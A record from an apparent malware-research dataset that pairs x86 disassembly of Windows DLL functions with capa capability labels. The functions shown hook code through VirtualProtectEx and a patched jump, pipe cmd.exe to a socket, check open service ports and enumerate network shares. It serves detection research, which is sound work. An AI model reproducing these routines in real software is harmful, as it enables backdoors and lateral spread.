joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000110b
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
mov edi, dword [ebp + 8]
xor ebx, ebx
cmp edi, ebx
jne 0x10001121
xor al, al
jmp 0x100011e0
push esi
mov esi, dword [ebp + 0x10]
cmp byte [esi + 0x16], 1
jne 0x10001132
push esi
call fcn.1000103f
pop ecx
push esi
call fcn.10001000
pop ecx
mov dword [ebp + 8], 0x100222aa
mov dword [ebp - 4], ebx
mov eax, dword [ebp + 8]
movzx ecx, byte [eax - 1]
push ecx
push eax
push edi
call fcn.1000fda5
add esp, 0xc
test eax, eax
je 0x1000116a
add dword [ebp - 4], 0xe
add dword [ebp + 8], 0xe
inc ebx
cmp dword [ebp - 4], 0x46
jb 0x10001143
jmp 0x100011dd
imul ebx, ebx, 0xe
mov dword [esi + 0x12], edi
mov bl, byte [ebx + 0x100222a8]
lea eax, [ebp + 8]
push eax
movzx eax, bl
push 0x40
push eax
mov byte [esi + 0x11], bl
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push edi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
movzx eax, byte [esi + 0x11]
push eax
push edi
push esi
call fcn.1000fa40
push esi
call fcn.10001025
movzx eax, byte [esi + 0x11]
sub eax, esi
lea eax, [eax + edi - 0x11]
mov dword [esi + 0xd], eax
mov eax, dword [ebp + 0xc]
add esp, 0x10
mov byte [edi], 0xe9
inc edi
sub eax, edi
sub eax, 4
mov dword [edi], eax
lea eax, [ebp + 8]
push eax
push dword [ebp + 8]
movzx eax, byte [esi + 0x11]
push eax
push edi
mov byte [esi + 0x16], 1
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov al, 1
pop esi
pop edi
pop ebx
leave
ret

Function at 0x100011e4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [ebp + 8]
test edi, edi
jne 0x100011f7
xor al, al
jmp 0x1000127f
push ebx
push esi
mov esi, dword [ebp + 0x10]
cmp byte [esi + 0x16], 1
jne 0x10001209
push esi
call fcn.1000103f
pop ecx
push esi
call fcn.10001000
mov al, byte [ebp + 0x14]
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
pop ecx
lea ecx, [ebp - 4]
push ecx
mov byte [esi + 0x11], al
movzx eax, al
push 0x40
push eax
push edi
mov dword [esi + 0x12], edi
mov dword [ebp + 8], eax
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push dword [ebp + 8]
push edi
push esi
call fcn.1000fa40
push esi
call fcn.10001025
mov eax, dword [ebp + 8]
sub eax, esi
lea eax, [eax + edi - 0x11]
mov dword [esi + 0xd], eax
mov eax, dword [ebp + 0xc]
add esp, 0x10
mov byte [edi], 0xe9
inc edi
sub eax, edi
sub eax, 4
mov dword [edi], eax
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
mov byte [esi + 0x16], 1
push dword [ebp + 8]
push edi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
pop esi
mov al, 1
pop ebx
pop edi
leave
ret
Function at 0x10001586
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x88]
sub esp, 0x108
mov eax, dword [0x1002b0a0]
xor eax, ebp
mov dword [ebp + 0x84], eax
push esi
mov esi, 0x104
push esi
lea eax, [ebp - 0x80]
push 0
push eax
call fcn.1000f9c0
add esp, 0xc
push esi
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x10022300
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp dword [0x1002d9c0], 0
pop esi
jne 0x100015e9
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x1002d9c0], eax
mov ecx, dword [ebp + 0x84]
xor eax, eax
xor ecx, ebp
inc eax
call fcn.10011586
add ebp, 0x88
leave
ret

Function at 0x1000162a
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x88]
sub esp, 0x108
mov eax, dword [0x1002b0a0]
xor eax, ebp
mov dword [ebp + 0x84], eax
push esi
mov esi, 0x104
push esi
lea eax, [ebp - 0x80]
push 0
push eax
call fcn.1000f9c0
add esp, 0xc
push esi
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.usp10.dll
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp dword [0x1002d9c4], 0
pop esi
jne 0x1000168d
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x1002d9c4], eax
mov ecx, dword [ebp + 0x84]
xor eax, eax
xor ecx, ebp
inc eax
call fcn.10011586
add ebp, 0x88
leave
ret

Function at 0x100018fb
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
xor esi, esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor eax, eax
push esi
mov word [ebp - 0x24], ax
mov word [ebp - 0x22], ax
mov eax, dword [ebp + 8]
push 1
mov dword [ebp - 0x1c], eax
push 2
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x54], 0x44
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x28], 0x101
mov dword [ebp - 0x18], ebx
call edi
push eax
push ebx
call edi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
push str.cmd.exe
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
test eax, eax
je 0x1000198c
mov eax, dword [ebp - 0x10]
push dword [ebp - 0xc]
mov dword [0x1002d9c8], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x1002d9c8]
leave
ret
Function at 0x10001b83
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
lea ebp, [esp - 0xcc]
sub esp, 0x14c
mov eax, dword [0x1002b0a0]
xor eax, ebp
mov dword [ebp + 0xc8], eax
push esi
push edi
push 0x12c
xor edi, edi
lea eax, [ebp - 0x70]
push edi
push eax
call fcn.1000f9c0
add esp, 0xc
push 0x100
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x70]
lea esi, [ebp - 0x70]
push eax
dec esi
call fcn.10011b80
cmp byte [eax + esi], 0x5c
pop ecx
jne 0x10001be5
lea eax, [ebp - 0x70]
push eax
call fcn.10011b80
pop ecx
mov byte [eax + esi], 0
lea eax, [ebp - 0x70]
push str.iphlpapi.dll
push eax
mov dword [ebp - 0x78], edi
call fcn.10011a90
pop ecx
pop ecx
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x10001d69
push ebx
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.GetTcpTable
push eax
mov dword [ebp - 0x80], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push 1
lea eax, [ebp - 0x78]
push eax
push edi
call esi
push dword [ebp - 0x78]
call fcn.100119ab
pop ecx
mov ebx, eax
push 1
lea eax, [ebp - 0x78]
push eax
push ebx
call esi
test eax, eax
jne 0x10001d5f
cmp dword [ebx], edi
mov dword [ebp - 0x74], edi
jle 0x10001d5f
lea esi, [ebx + 0xc]
mov edi, 0x1002c7ac
cmp dword [esi - 8], 2
jne 0x10001d4e
movzx eax, word [esi]
push eax
call sub.WS2_32.dll_htons
cmp ax, 0x15
je 0x10001cad
movzx eax, word [esi]
push eax
call sub.WS2_32.dll_htons
cmp ax, 0x50
je 0x10001cad
movzx eax, word [esi]
push eax
call sub.WS2_32.dll_htons
mov ecx, 0x599
cmp ax, cx
je 0x10001cad
movzx eax, word [esi]
push eax
call sub.WS2_32.dll_htons
mov ecx, 0x15ff
cmp ax, cx
jne 0x10001d01
push 0xa
lea eax, [ebp + 0xbc]
push 0
push eax
call fcn.1000f9c0
movzx eax, word [esi]
add esp, 0xc
push eax
call sub.WS2_32.dll_htons
movzx eax, ax
push eax
lea eax, [ebp + 0xbc]
push 0x100226b8
push eax
call fcn.100118df
lea eax, [ebp + 0xbc]
push eax
push edi
call fcn.10011500
add esp, 0x14
test eax, eax
jne 0x10001d01
lea eax, [ebp + 0xbc]
push eax
push edi
call fcn.10011a90
pop ecx
pop ecx
push 0x1002d4f4
call fcn.10011b80
pop ecx
cmp eax, 2
jbe 0x10001d4e
push 0x1002d4f6
call fcn.100118d4
mov dword [ebp - 0x7c], eax
movzx eax, word [esi]
pop ecx
push eax
call sub.WS2_32.dll_htons
movzx eax, ax
cmp eax, dword [ebp - 0x7c]
jne 0x10001d4e
push 0x1002d4f4
push edi
call fcn.10011500
pop ecx
pop ecx
test eax, eax
jne 0x10001d4e
push 0x1002d4f4
push edi
call fcn.10011a90
pop ecx
pop ecx
inc dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
add esi, 0x14
cmp eax, dword [ebx]
jl 0x10001c5f
push dword [ebp - 0x80]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop ebx
mov ecx, dword [ebp + 0xc8]
pop edi
xor ecx, ebp
pop esi
call fcn.10011586
add ebp, 0xcc
leave
ret
Function at 0x10001d93
Capabilities:
Read file on windows

Disassembly:
push 0x4b4
mov eax, 0x100214bb
call fcn.100127ea
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x4bc]
mov dword [ebp - 0x4c0], eax
call fcn.10008348
and dword [ebp - 4], 0
push 0x10
lea eax, [ebp - 0x20]
push 0
push eax
call fcn.1000f9c0
push 0x100226e0
push esi
call fcn.10012384
mov edi, eax
add esp, 0x14
test edi, edi
je 0x10001e57
push edi
call fcn.100121fa
push edi
call fcn.100121c6
pop ecx
pop ecx
test eax, eax
jne 0x10001e50
mov esi, 0x400
push esi
lea eax, [ebp - 0x420]
push 0
push eax
call fcn.1000f9c0
push edi
call fcn.10012158
push edi
push 1
mov ebx, eax
lea eax, [ebp - 0x420]
push esi
push eax
call fcn.10011f9e
push edi
call fcn.10012158
add esp, 0x24
sub eax, ebx
je 0x10001e45
push edi
call fcn.10012158
pop ecx
sub eax, ebx
push eax
lea eax, [ebp - 0x420]
push eax
lea ecx, [ebp - 0x4bc]
call fcn.1000835a
push edi
call fcn.100121c6
pop ecx
test eax, eax
je 0x10001df5
push edi
call fcn.10011c82
pop ecx
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x4bc]
call fcn.100083ff
mov edi, dword [ebp - 0x4c0]
xor esi, esi
movzx eax, byte [ebp + esi - 0x20]
push eax
push str._02x
push edi
call fcn.100118df
add esp, 0xc
inc esi
inc edi
inc edi
cmp esi, 0x10
jl 0x10001e6e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4bc]
call fcn.10007b51
call fcn.10012834
ret
Function at 0x10002723
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push ebp
lea ebp, [esp - 0x1c0]
sub esp, 0x240
mov eax, dword [0x1002b0a0]
xor eax, ebp
mov dword [ebp + 0x1bc], eax
push esi
mov esi, dword [ebp + 0x1c8]
push esi
mov dword [ebp - 0x7c], esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x100028a2
push ebx
push edi
xor ebx, ebx
push ebx
push esi
call fcn.1000bea2
mov edi, eax
pop ecx
pop ecx
cmp edi, ebx
je 0x100028a0
mov esi, 0x12c
push esi
lea eax, [ebp - 0x74]
push ebx
push eax
call fcn.1000f9c0
lea eax, [ebp - 0x74]
push eax
push 0xffffffffffffffff
push edi
call fcn.1000a414
mov ecx, dword [ebp - 0x74]
add esp, 0x18
mov dword [ebp - 0x80], ecx
cmp eax, ebx
je 0x100027b2
push edi
call fcn.1000a453
pop ecx
push edi
test al, al
je 0x1000289a
call fcn.1000bf0c
jmp 0x1000289f
cmp ecx, ebx
mov dword [ebp - 0x78], ebx
jle 0x10002798
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
lea eax, [ebp - 0x74]
push ebx
push eax
call fcn.1000f9c0
lea eax, [ebp - 0x74]
push eax
push dword [ebp - 0x78]
push edi
call fcn.1000a414
add esp, 0x18
test eax, eax
jne 0x10002798
lea eax, [ebp - 0x70]
push str..exe
push eax
call fcn.10011b80
lea eax, [ebp + eax - 0x74]
push eax
call fcn.100211bd
pop ecx
pop ecx
push eax
call fcn.100128d0
pop ecx
pop ecx
test eax, eax
je 0x10002813
inc dword [ebp - 0x78]
mov eax, dword [ebp - 0x78]
cmp eax, dword [ebp - 0x80]
jl 0x100027b9
jmp 0x10002798
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp + 0xb8]
push eax
call fcn.10011a80
lea esi, [ebp + 0xb8]
mov eax, esi
push 0x2f
push eax
call fcn.10011440
add esp, 0x10
jmp 0x10002845
lea esi, [eax + 1]
push 0x2f
push esi
call fcn.10011440
pop ecx
pop ecx
cmp eax, ebx
jne 0x10002838
push edi
mov byte [esi], bl
call fcn.1000a453
pop ecx
push edi
test al, al
je 0x1000285e
call fcn.1000bf0c
jmp 0x10002863
call fcn.1000f96a
pop ecx
lea eax, [ebp + 0xb8]
push 0x100227cc
push eax
call fcn.10011a90
pop ecx
pop ecx
push ebx
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x1002c120
lea eax, [ebp + 0xb8]
push eax
push dword [ebp - 0x7c]
call fcn.1000234d
add esp, 0xc
jmp 0x100028a0
call fcn.1000f96a
pop ecx
pop edi
pop ebx
mov ecx, dword [ebp + 0x1bc]
xor ecx, ebp
pop esi
call fcn.10011586
add ebp, 0x1c0
leave
ret
Function at 0x100028b8
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
push ebx
push esi
xor ebx, ebx
push ebx
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
mov dword [ebp - 0x1c], 0xc
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
setne byte [ebp - 1]
cmp byte [ebp - 1], bl
je 0x10002988
lea eax, [ebp - 0x70]
push eax
mov dword [ebp - 0x70], 0x44
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [ebp - 8]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], eax
xor eax, eax
mov word [ebp - 0x40], ax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x70]
push eax
push ebx
push ebx
push ebx
push 1
push ebx
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x44], 0x101
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
setne byte [ebp - 1]
cmp byte [ebp - 1], bl
je 0x10002988
push 0xffffffffffffffff
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 8]
call esi
push 4
push ebx
push dword [ebp + 0xc]
call fcn.1000f9c0
add esp, 0xc
push ebx
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0x2c]
test eax, eax
setne byte [ebp - 1]
call esi
push dword [ebp - 0x28]
call esi
push dword [ebp - 8]
call esi
push dword [ebp - 0xc]
call esi
mov al, byte [ebp - 1]
pop esi
pop ebx
leave
ret

Function at 0x100037c7
Capabilities:
Create pipe
Create two anonymous pipes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push edi
xor edi, edi
push 0x18
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
call fcn.100119ab
mov esi, eax
pop ecx
cmp esi, edi
jne 0x100037ec
xor eax, eax
jmp 0x1000388e
push ebx
push edi
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 8]
mov dword [esi], edi
push eax
lea ebx, [esi + 4]
mov dword [ebx], edi
push esi
mov dword [ebp - 0x14], 0xc
mov dword [ebp - 0x10], edi
mov dword [ebp - 0xc], 1
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x10003853
push 0
lea eax, [ebp - 0x14]
push eax
push ebx
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x10003853
push dword [ebp - 4]
mov ebx, dword [ebp - 8]
call fcn.100018fb
pop ecx
mov dword [esi + 8], eax
push dword [ebp - 4]
call edi
push dword [ebp - 8]
call edi
cmp dword [esi + 8], 0
jne 0x10003887
cmp dword [ebp - 4], 0
je 0x1000385e
push dword [ebp - 4]
call edi
cmp dword [ebp - 8], 0
je 0x10003869
push dword [ebp - 8]
call edi
mov eax, dword [esi]
test eax, eax
je 0x10003872
push eax
call edi
mov eax, dword [esi + 4]
test eax, eax
je 0x1000387c
push eax
call edi
push esi
call fcn.10012eb4
pop ecx
xor eax, eax
jmp 0x1000388d
or dword [esi + 0xc], 0xffffffff
mov eax, esi
pop ebx
pop edi
pop esi
leave
ret
Function at 0x10003892
Capabilities:
Create thread
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
call fcn.100037c7
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
mov eax, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 0x10], 0xc
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], edi
mov dword [esi + 0xc], eax
lea eax, [ebp - 4]
push eax
push edi
push esi
push 0x10001993
push edi
lea eax, [ebp - 0x10]
push eax
call ebx
mov dword [esi + 0x10], eax
cmp eax, edi
jne 0x100038e1
or dword [esi + 0xc], 0xffffffff
xor eax, eax
jmp 0x100039a1
lea eax, [ebp - 4]
push eax
push edi
push esi
push 0x10001a6e
push edi
lea eax, [ebp - 0x10]
push eax
call ebx
mov dword [esi + 0x14], eax
cmp eax, edi
jne 0x10003908
or dword [esi + 0xc], 0xffffffff
push edi
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
jmp 0x100038da
mov eax, dword [esi + 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [esi + 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [esi + 8]
push 0xffffffffffffffff
mov dword [ebp - 0x14], eax
push edi
lea eax, [ebp - 0x1c]
push eax
push 3
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
sub eax, edi
je 0x1000394d
dec eax
je 0x10003947
dec eax
jne 0x10003962
mov ebx, dword [sym.imp.KERNEL32.dll_TerminateThread]
push edi
push dword [esi + 0x14]
call ebx
push edi
push dword [esi + 0x10]
call ebx
jmp 0x10003962
push edi
push dword [esi + 0x10]
jmp 0x10003951
push edi
push dword [esi + 0x14]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 1
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [esi + 0xc]
call sub.WS2_32.dll_closesocket
push dword [esi]
mov ebx, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
call ebx
push dword [esi]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [esi + 4]
call ebx
push dword [esi + 4]
call edi
push dword [esi + 0x10]
call edi
push dword [esi + 0x14]
call edi
push dword [esi + 8]
call edi
push esi
call fcn.10012eb4
xor eax, eax
pop ecx
inc eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100061a4
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
push str.WNetOpenEnumA
push dword [0x1002d99c]
call esi
mov edi, eax
test edi, edi
jne 0x100061cd
xor eax, eax
jmp 0x100062e2
push str.WNetEnumResourceA
push dword [0x1002d99c]
call esi
mov dword [ebp - 0x18], eax
test eax, eax
je 0x100061c6
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x4000
push 0
push 0
push 2
call edi
test eax, eax
jne 0x100061c6
push dword [ebp - 8]
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0x10]
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 8]
push eax
push ebx
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x14]
mov dword [ebp - 8], 0x4000
call dword [ebp - 0x18]
test eax, eax
jne 0x100062d8
and dword [ebp - 0xc], eax
cmp dword [ebp - 4], eax
jbe 0x1000620d
add ebx, 8
sub esp, 0x20
push 8
pop ecx
lea esi, [ebx - 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.10001f9c
add esp, 0x20
cmp dword [ebx], 3
jne 0x100062a5
push dword [ebx + 0xc]
call fcn.100022b9
pop ecx
test eax, eax
je 0x100062a5
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov esi, 0x1002c120
push esi
call edi
cmp eax, 0xffffffff
jne 0x10006297
push 0x1002d830
call edi
cmp eax, 0xffffffff
jne 0x1000628a
push 0x1002d5d0
jmp 0x1000628f
push 0x1002d830
push esi
call fcn.10011a80
pop ecx
pop ecx
push esi
push 0
push dword [ebx + 0xc]
call fcn.10003ead
add esp, 0xc
test byte [ebx + 4], 2
je 0x100062c1
mov eax, dword [ebx]
cmp eax, 6
je 0x100062b7
cmp eax, 1
jne 0x100062c1
lea eax, [ebx - 8]
push eax
call fcn.100061a4
pop ecx
inc dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
add ebx, 0x20
cmp eax, dword [ebp - 4]
jb 0x1000623d
jmp 0x1000620d
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10007c39
Capabilities:
Hash data with md5

Disassembly:
push esi
xor eax, eax
push 0x40
lea esi, [ecx + 0x5c]
push eax
push esi
mov dword [ecx + 0x18], eax
mov dword [ecx + 0x14], eax
mov dword [ecx + 4], 0x67452301
mov dword [ecx + 8], 0xefcdab89
mov dword [ecx + 0xc], 0x98badcfe
mov dword [ecx + 0x10], 0x10325476
call fcn.10007bff
mov byte [esi], 0x80
pop esi
ret

Function at 0x10008517
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov al, cl
ret

Function at 0x10008fff
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov edx, dword [esp + 8]
test edx, edx
jne 0x1000900a
xor eax, eax
ret
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [esp + 0x14]
not eax
mov ecx, 0xff
cmp edi, 8
jb 0x100090c5
mov esi, edi
shr esi, 3
push ebx
movzx ebx, byte [edx]
xor ebx, eax
and ebx, ecx
shr eax, 8
xor eax, dword [ebx*4 + 0x10024900]
inc edx
movzx ebx, byte [edx]
xor ebx, eax
and ebx, ecx
shr eax, 8
xor eax, dword [ebx*4 + 0x10024900]
inc edx
movzx ebx, byte [edx]
xor ebx, eax
and ebx, ecx
shr eax, 8
xor eax, dword [ebx*4 + 0x10024900]
inc edx
movzx ebx, byte [edx]
xor ebx, eax
and ebx, ecx
shr eax, 8
xor eax, dword [ebx*4 + 0x10024900]
inc edx
movzx ebx, byte [edx]
xor ebx, eax
and ebx, ecx
shr eax, 8
xor eax, dword [ebx*4 + 0x10024900]
inc edx
movzx ebx, byte [edx]
xor ebx, eax
and ebx, ecx
shr eax, 8
xor eax, dword [ebx*4 + 0x10024900]
inc edx
movzx ebx, byte [edx]
xor ebx, eax
and ebx, ecx
shr eax, 8
xor eax, dword [ebx*4 + 0x10024900]
inc edx
movzx ebx, byte [edx]
xor ebx, eax
and ebx, ecx
shr eax, 8
xor eax, dword [ebx*4 + 0x10024900]
inc edx
sub edi, 8
dec esi
jne 0x1000902a
pop ebx
test edi, edi
je 0x100090de
movzx esi, byte [edx]
xor esi, eax
and esi, ecx
shr eax, 8
xor eax, dword [esi*4 + 0x10024900]
inc edx
dec edi
jne 0x100090c9
pop edi
not eax
pop esi
ret

Function at 0x100090e3
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 4]
mov eax, dword [ecx]
movsx edx, byte [esp + 8]
xor edx, eax
push esi
mov esi, 0xff
and edx, esi
mov edx, dword [edx*4 + 0x10024900]
shr eax, 8
xor edx, eax
mov eax, dword [ecx + 8]
mov dword [ecx], edx
movzx edx, dl
add edx, dword [ecx + 4]
imul edx, edx, 0x8088405
inc edx
mov dword [ecx + 4], edx
shr edx, 0x18
xor edx, eax
and edx, esi
shr eax, 8
xor eax, dword [edx*4 + 0x10024900]
pop esi
mov dword [ecx + 8], eax
ret
Function at 0x10009582
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0x14]
push edi
mov edi, dword [ebp + 0xc]
imul edi, dword [ebp + 0x10]
cmp byte [esi], 0
je 0x100095b6
push 0
lea eax, [ebp + 0x10]
push eax
push edi
push dword [ebp + 8]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x100095b1
mov byte [esi + 8], 1
mov eax, dword [ebp + 0x10]
jmp 0x100095de
mov ecx, dword [esi + 0x1c]
mov eax, dword [esi + 0x18]
lea edx, [ecx + edi]
cmp edx, eax
jbe 0x100095c7
sub eax, ecx
mov edi, eax
mov eax, dword [esi + 0x14]
push edi
add eax, ecx
push eax
push dword [ebp + 8]
call fcn.1000fa40
add esp, 0xc
add dword [esi + 0x1c], edi
mov eax, edi
xor edx, edx
div dword [ebp + 0xc]
pop edi
pop esi
pop ebp
ret

Function at 0x1000a2cb
Capabilities:
Create directory

Disassembly:
push ebp
lea ebp, [esp - 0x18c]
sub esp, 0x20c
mov eax, dword [0x1002b0a0]
xor eax, ebp
mov dword [ebp + 0x188], eax
push ebx
mov ebx, dword [ebp + 0x194]
push edi
mov edi, dword [ebp + 0x198]
test ebx, ebx
je 0x1000a347
push 0x104
lea eax, [ebp - 0x80]
push ebx
push eax
call fcn.100137ac
lea eax, [ebp - 0x80]
push eax
call fcn.10011b80
add esp, 0x10
test eax, eax
jbe 0x1000a32d
lea eax, [ebp + eax - 0x81]
mov cl, byte [eax]
cmp cl, 0x2f
je 0x1000a32a
cmp cl, 0x5c
jne 0x1000a32d
mov byte [eax], 0
lea eax, [ebp - 0x80]
push eax
call fcn.10008517
pop ecx
test al, al
jne 0x1000a347
push 0
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov al, byte [edi]
test al, al
je 0x1000a3fd
push esi
mov esi, edi
mov ecx, edi
cmp al, 0x2f
je 0x1000a35e
cmp al, 0x5c
jne 0x1000a360
mov esi, ecx
inc ecx
mov al, byte [ecx]
test al, al
jne 0x1000a356
cmp esi, edi
je 0x1000a38a
sub esi, edi
push esi
lea eax, [ebp - 0x80]
push edi
push eax
call fcn.1000fa40
lea eax, [ebp - 0x80]
push eax
push ebx
mov byte [ebp + esi - 0x80], 0
call fcn.1000a2cb
add esp, 0x14
mov byte [ebp + 0x84], 0
pop esi
test ebx, ebx
je 0x1000a3ab
push 0x104
lea eax, [ebp + 0x84]
push ebx
push eax
call fcn.100137ac
add esp, 0xc
lea eax, [ebp + 0x84]
push eax
mov byte [ebp + 0x187], 0
call fcn.10011b80
mov ecx, 0x104
sub ecx, eax
push ecx
lea eax, [ebp + eax + 0x84]
push edi
push eax
call fcn.100137ac
lea eax, [ebp + 0x84]
push eax
mov byte [ebp + 0x187], 0
call fcn.10008517
add esp, 0x14
test al, al
jne 0x1000a3fd
push 0
lea eax, [ebp + 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ecx, dword [ebp + 0x188]
pop edi
xor ecx, ebp
pop ebx
call fcn.10011586
add ebp, 0x18c
leave
ret